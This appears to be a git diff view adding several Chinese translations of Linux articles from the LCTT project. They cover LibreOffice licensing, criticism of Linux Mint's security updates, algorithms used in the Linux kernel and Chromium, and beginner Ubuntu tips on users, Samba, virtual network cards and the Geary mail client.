其实LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说LibreOffice可以随意自由地从OpenOffice“借”代码但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲如果想从LibreOffice“借”来某个功能OpenOffice必须完全从头实现。
这一情况有可能会改变尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候然而LibreOffice的支持者们正在迅速扩张它的社区非常活跃短短3年间所做的要比OpenOffice.org十二年来做的还要多。
现在除非你特别需要某个功能使用OpenOffice还是LibreOffice几乎没有区别。但是我断定除非发生某些不可预料的事情否则LibreOffice的优势将会越来越大。无论你选择支持哪一方几年内也许你会对它重新作出评价。
--------------------------------------------------------------------------------
via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.openoffice.org/
[2]:http://www.libreoffice.org/
[3]:https://en.wikipedia.org/wiki/Go-oo

View File

@ -0,0 +1,39 @@
Canonical Dev称Linux Mint“脆弱”不要将其用于网银
================================================================================
**一位Canonical公司[工程师建议][1]基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。**
Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” Oliver Grawert说。
> “不去马上整合Ubuntu提交的那些修正而是拒绝这些软件包的安全更新。我要说强制保持一个有缺陷的内核、浏览器或xorg而不是允许安装更新补丁这会变成一个易受攻击的系统原文如此”。
>
> “就我个人而言,我不会用它做网银操作。”
当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法:
> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说Mint需要花好几个月才能得到一个Firefox的修正版而Ubuntu和Debian已经早在他们的包上打了安全补丁。
>
> 这将置Linux Mint用户处于危险中也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。”
Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师他比大多数人更了解自己在说什么。
那么Mint的用户存在实际风险么
半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”这个词更好一些都是有记录和已知的虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在至少现在在理论上是很有可能的。
也就是说,没有发生**已知的**由于使用Mint发行版或任何其他基于Ubuntu的未打补丁的发行版并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。
但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。
**看到Ubuntu持续被提及有关自身的主要是理论上隐私问题后至少它还穿着另外一只鞋子我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。**
*请注意我们已经向Linux Mint征求意见及澄清答复将在后继文章发表。*
--------------------------------------------------------------------------------
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html

View File

@ -0,0 +1,298 @@
那些算法在哪里?
================================================================================
本文来源于一篇stackexchange的[问题][101]回答。提问者问到,我们在计算机科学和数学课程里面学习到的那些算法,到底在什么地方用到了?结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102],得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。
[Vijay D][103]写到:
在我看来一个系统背后主要发挥作用的算法更容易在非算法课程上找到这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中很少有实际问题能够精确匹配到一个抽象问题。归根结底我认为没有理由让流行的算法课程诸如Strassen乘法AKS素性测试、或者Moser-Tardos算法与底层实际问题如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因我不会忽略简单随机算法或者PageRank。
我想你可以选择任何一个大型软件并在内部找到它所采用的基础和高级的算法。作为一个研究案例我选择了Linux内核并会示例一些Chromium里面的例子。
### Linux内核中的基本数据结构和算法 ###
Linux内核([源代码的链接在github][1])。
1.[链表][2]、[双向链表][3]、[无锁链表][4]。
2.[B+ 树][5],这是一些你无法在教科书上找到的说明。
> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。
> ...
> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。
3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。
4.[红黑树][9][用于][10]调度、虚拟内存管理、追踪文件描述符和目录项等。
5.[区间树][11]
6.[根树][12]用于[内存管理][13]NFS相关查询和网络相关功能。
> 根树的一个通用的用处是存储指针到结构页中。
7.[优先级堆][14],如其名称的教科书实现,用于[cgroup][15]。
> 《简单的基于CLR的只插入的含有指针的定长优先级堆》第七章
8.[哈希函数][16]参考了Knuth和一篇论文。
> Knuth建议用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性
>
> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17]
>
> 这些素数的选择是位稀疏的,他们可以通过移位和加法操作,而不必使用乘法器,乘法器是很慢的。
9.有的代码,比如[这个驱动][18],实现了他们自己的哈希函数。
> 使用了一种旋转哈希算法的哈希函数
>
> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973
10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。
11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。
12.[信号量][23]和[自旋锁][24]
13.[二分查找][25]用于[中断处理][26],[寄存器缓存查询][27]等等。
14.[B树的二分查找][28]。
15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。
> 执行一个修改过的命名空间树的深度优先遍历以指定的start_handle节点开始及结束。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值搜索将会立即终止并且将其返回给调用者。
16.[广度优先搜索][31]用于检测运行时锁定的正确性。
17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。
18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。
19.[Knuth-Morris-Pratt 字符串匹配][36],
> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本其匹配时间是O(n)对于长度为m的模式(pattern)仅使用一个辅助函数PI[1 . .m]预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录而DELTA有O(m |SIGMA|)个记录在预处理时间计算PI而不是DELTA的时候我们可以节省一个因数|SIGMA|
>
> \[1\] Cormen, Leiserson, Rivest, Stein算法介绍第二版MIT出版社
>
> \[2\] 见有限自动机原理
20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。
> 实现了Boyer-Moore字符串匹配算法:
>
> \[1\] 《一个快速的字符串搜索算法》R.S. Boyer and Moore.计算机通信协会20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38]
>
> \[2\] 《准确的字符串匹配算法手册》Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39]
>
> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法并没有优势。
>
> 如果你希望确保这样的事情永远不会发生那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。
>
> 如果你正在用文本搜索器进行过滤NIDS或任何类似的注重安全的目的那么使用KMP。否则如果你真的关心性能并且你对数据包进行分类以使用服务质量(QoS)政策当你不介意匹配可能分布分散那么用BM。
### Chromium 浏览器中的数据结构和算法 ###
Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。
1.[伸展树][41]。
> 这个树通过分配策略分配器参数化。这个策略用于C的可用存储区的列表分配参见zone.h。
2.[Voronoi算法][42]用于一个示例。
3.[基于Bresenham算法的选项卡][43]
在Chromium的第三方代码里面也有如下的数据结构和算法。
1.[二叉树][44]
2.[红黑树][45]
> Julian Walker的总结
>
> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单乍一看这似乎是由于插入是一项轻松的乐事。然而当你开始删除时红黑树变得非常棘手。然而通过复杂性的平衡插入和删除可以使用单通道实现自上而下的算法。这与AVL树情况不一样插入只能自顶向下删除则需要自下而上。
> ...
>
> 红黑树是很流行的像大多数数据结构一样有一个古怪的名字。比如在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好需要保持平衡的话红黑树通常更好。有一些流传的误解但在大多数情况下对红黑树的宣传是准确的。
3.[AVL 树][46]
4.[Rabin-Karp字符串匹配][47]用于比较。
5.[自动机后缀的计算][48]。
6.由Apple公司实现的[bloom过滤器][49]。
7.[Bresenham 算法][50]。
### 编程语言库 ###
我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。
1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。
2.[Java API][54]易于扩展的并且越来越多。
3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。
### 分配和调度算法 ###
我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构,因此,所以需要人们知道栈和队列。
1.最近最少使用LRU算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。
2.其他的还有先入先出FIFO、最常使用和轮询。
3.FIFO的一个变种用于VAX/VMS系统。
4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。
5.Intel i860处理器是一种随机替代策略。
6.[自适应置换高速缓存][59]用于一些IBM存储控制器中也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60])。
7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中jemalloc并发分配器被用于FreeBSD和[facebook][62]中。
### *nix系统核心工具 ###
1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造显然[这甚至击败了Perl的实现][63]。
2.*tsort*实现了拓扑排序。
3.*fgrep*实现了[Aho-Corasick字符串匹配算法][64]。
4.*GNU grep*根据作者Mike Haertel实现了[Boyer-Mooresuan算法][65]。
5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。
6.[*Unix diff*][66]由Doug McIllroy实现基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。
### 加密算法 ###
这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。
1.[Merkle 树][68],特别是 Tiger Tree Hash变种被用于点对点应用比如[GTK Gnutella][69]和[LimeWire][70]。
2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72])同样也支持Windows和OSX。
3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。
### 编译器 ###
1.[LALR 解析][74]在yacc和bison实现。
2.支配算法被用于大多数基于SSA形式的编译器优化。
3.lex和flex将正则表达式编译为NFA。
### 压缩和图像处理 ###
1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现,从*unix工具转化到复杂的程序。
2.行程长度编码用于产生PCX文件(用于原来的画笔程序)它是被压缩的BMP和TIFF文件。
3.小波压缩是JPEG2000的基础所以所有生成JPEG2000文件的数码相机会支持这个算法。
4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。
### 冲突驱动语句学习算法 (CDCL) ###
自2000年以来SAT求解器在工业标准的运行时间(通常是硬件工业,虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地工业造型SAT被认为是一个简单的问题([见这个讨论][77])。对我而言,这个一个最近最好的成功故事,因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此),但是通常在一个逻辑或者形式方法课上。
SAT求解器的应用有很多。IBMIntel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。
--------------------------------------------------------------------------------
via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://github.com/mirrors/linux-2.6
[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c
[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h
[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h
[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c
[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h
[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h
[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c
[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h
[10]:http://lwn.net/Articles/184495/
[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h
[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h
[13]:http://lwn.net/Articles/175432/
[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h
[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h
[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h
[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf
[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c
[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h
[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c
[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c
[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h
[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h
[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h
[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c
[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c
[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c
[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c
[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c
[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c
[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c
[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c
[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c
[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c
[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c
[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c
[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c
[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf
[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf
[40]:https://code.google.com/p/chromium/
[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h
[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html
[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py
[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py
[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py
[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c
[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py
[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h
[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c
[51]:http://www.cplusplus.com/reference/stl/
[52]:http://www.cplusplus.com/reference/algorithm/
[53]:http://www.cplusplus.com/reference/algorithm/
[54]:http://docs.oracle.com/javase/7/docs/api/
[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale
[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h
[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock
[58]:http://dl.acm.org/citation.cfm?id=4750
[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache
[60]:http://www.varlena.com/GeneralBits/96.php
[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation
[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919
[63]:http://swtch.com/~rsc/regexp/regexp1.html
[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm
[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html
[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf
[67]:http://linux.die.net/man/3/diff
[68]:http://en.wikipedia.org/wiki/Merkle_tree
[69]:https://github.com/gtk-gnutella/bitter
[70]:http://en.wikibooks.org/wiki/LimeWire
[71]:http://en.wikipedia.org/wiki/MD5
[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c
[73]:http://www.openssl.org/
[74]:http://en.wikipedia.org/wiki/LALR_parser
[75]:http://en.wikipedia.org/wiki/Lempel_Ziv
[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c
[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/
[78]:http://dl.acm.org/citation.cfm?id=1536637
[79]:http://en.opensuse.org/Portal%3aLibzypp
[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/
[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
[103]:http://cstheory.stackexchange.com/users/4155/vijay-d

View File

@ -0,0 +1,43 @@
每日Ubuntu小技巧——在Ubuntu中添加用户
================================================================================
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。
因此你可以为每一个可能使用你家里电脑的用户创建一个独立的账户而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。
为了获得上面所说的那样的独立账户,首先点击长条菜单栏上的齿轮图标,然后点击系统设置。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable4.png)
当如图所示的窗口打开后,点击屏幕下方的“**用户账户User Accounts**”,如下图所示。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png)
要添加用户到你的Ubuntu需要管理员权限请在添加账户前点击解锁Unlock)。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png)
然后,点击加号( + )按钮来创建用户账户。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu2.png)
创建用户时有两种基本的账户类型: **标准用户****管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者进行一些可能使计算机不稳定的操作。
标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。
输入用户全名时,系统将根据全名自动选择用户名。你可以保留自动生成的用户名,也可以根据需要修改用户名。完成后,点击**创建Create)**来创建账户。
默认情况下,刚创建的账户是不可用的,除非给他设置或修改了密码。要想让账户可用,点击账户的不可用按钮,然后输入密码。
![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png)
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下拉选项中的自动登录。
Enjoy!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-ubuntu/
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[SCUSJS](https://github.com/scusjs) 校对:[jasmiepeng](https://github.com/jasminepeng)

View File

@ -0,0 +1,42 @@
每日Ubuntu小技巧-更改Samba工作组和计算机名
================================================================================
这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单但当你接触新事物时你需要时间来完全理解它。
这是我们前几天收到的问题;
> 如何更改Samba的工作组名和Ubuntu的计算机名称
对于大多数Ubuntu用户改变他们的计算机名称是极少发生的事情更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。
当涉及到在Ubuntu中更改计算机名时我们曾写过一个简单的帖子可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。
也许还有其他方法来改变你在Ubuntu中的计算机名但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。
在键盘上按**Ctrl Alt T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时运行以下命令来编辑的Samba的配置文件。
sudo gedit /etc/samba/smb.conf
打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如如果你希望工作组变成UBGP将WORKGROUP替换成UBGP并保存该文件。在大多数情况下你必须重启动计算机以使之生效。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/workgroupubuntu.png)
以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住如果你这样做是为了共享或访问Windows文件和文件夹还必须安装Samba。没有Samba你将难以与Windows共享文件。
运行下面的命令安装Samba。
sudo apt-get install samba
欢迎回来掌握更多的Ubuntu小技巧。
尽情享受吧!
---
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/
译者:[crowner](https://github.com/crowner)[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2199-1.html

View File

@ -0,0 +1,42 @@
Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡
================================================================================
这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人尤其是那些在正式环境中使用生产机器的用户。
如果你对网络运行和IP网络有所了解你应该知道在大多数情况下每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。
一个网卡对应一个IP地址你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如如果你想在80端口运行一个web服务器而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。
所以网卡和IP地址并不是一对一的关系你可以创建可以单独分配IP地址的虚拟网卡。因此单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。
这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。
动手吧,运行下列命令打开网络接口文件。
sudo gedit /etc/network/interfaces
然后按照下图中的步骤添加你想要的任意多的虚拟网卡。默认情况下Linux会给第一张网卡分配eth0的名称所以如果你的机子只有一张网卡那么它会被命名为eth0。
添加虚拟网卡创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu.png)
对于你创建的每一个网卡也要确保网络都是不同的子网这是网络常识译注事实上并非如此虚拟网卡完全可以是相同子网的IP地址只要你需要
完成以后,保存文件并用下列命令重启网络服务。
sudo service networking restart
就是这样!
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/virtualnetworkcardubuntu1.png)
玩得开心!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,46 @@
每日Ubuntu小技巧一款轻量级的Email阅读器Geary
================================================================================
正如大家所知Ubuntu 本身自带可以收发邮件的客户端——Thunderbird当然它也支持GmailYahoo MailMicrosoft Outlook 等等支持IMAP协议的邮件服务。
Thunderbird 是一个功能强大的邮件客户端只要email客户端所需要的功能它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端Geary 是一个不错的选择。
Geary 是一个界面简洁,能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上,这样你可以不必点击鼠标来切换消息。
Geary 还支持IMAP 协议所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。
以Ubuntu 13.10用户为例Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。
sudo apt-get install geary
在以前的Ubuntu 版本中,键盘按下**Ctrl Alt T** 可以打开终端。打开之后运行以下命令增加PPA源。
sudo add-apt-repository ppa:yorba/ppa
接下来运行以下命令来升级系统和安装Geary 。
sudo apt-get update && sudo apt-get install geary
第一次启动Geary时你需要设置你的GmailYahoo 或 Microsoft 电子邮件帐户。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png)
设置非常的简单只要输入你的账号信息Geary 就会自动配置好你的账号。
若想卸载Geary 首先要从系统中移除它的PPA源要运行的命令如下。
sudo add-apt-repository -r ppa:yorba/ppa
然后再运行以下命令卸载Geary 。
sudo apt-get remove geary
就这么简单~
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,36 @@
每日Ubuntu小技巧 - 改变Ubuntu Unity启动器尺寸
================================================================================
这里有一些给新Ubuntu用户的小技巧。这一系列的小技巧是为了帮助Ubuntu新用户轻松地配置和管理他们的电脑。这不是面向专家用户的只是为了那些刚刚开始使用Ubuntu的用户。
Ubuntu启动器是Ubuntu Unity桌面的关键部分。启动器是一个布满图标的垂直条当你登陆的时候它就会位于屏幕的左边栏。通过它您可以从桌面方便地打开或者启动程序还可以让您快速访问应用、工作空间、可移动设备和垃圾桶。
默认情况下这个启动器图标大小被设置为48X48px即使是较小的屏幕上也如此。如果你需要调大或调小启动器的尺寸那么请继续接下来的学习。
想调整Unity启动器尺寸的原因有很多。其中一个就是为了适应更小的屏幕。如果你的屏幕很小默认尺寸不合适那么你就需要改变它了。
如果图标默认尺寸太小,想要增大它,则可以调整启动器来增大图标,从而容易点击。
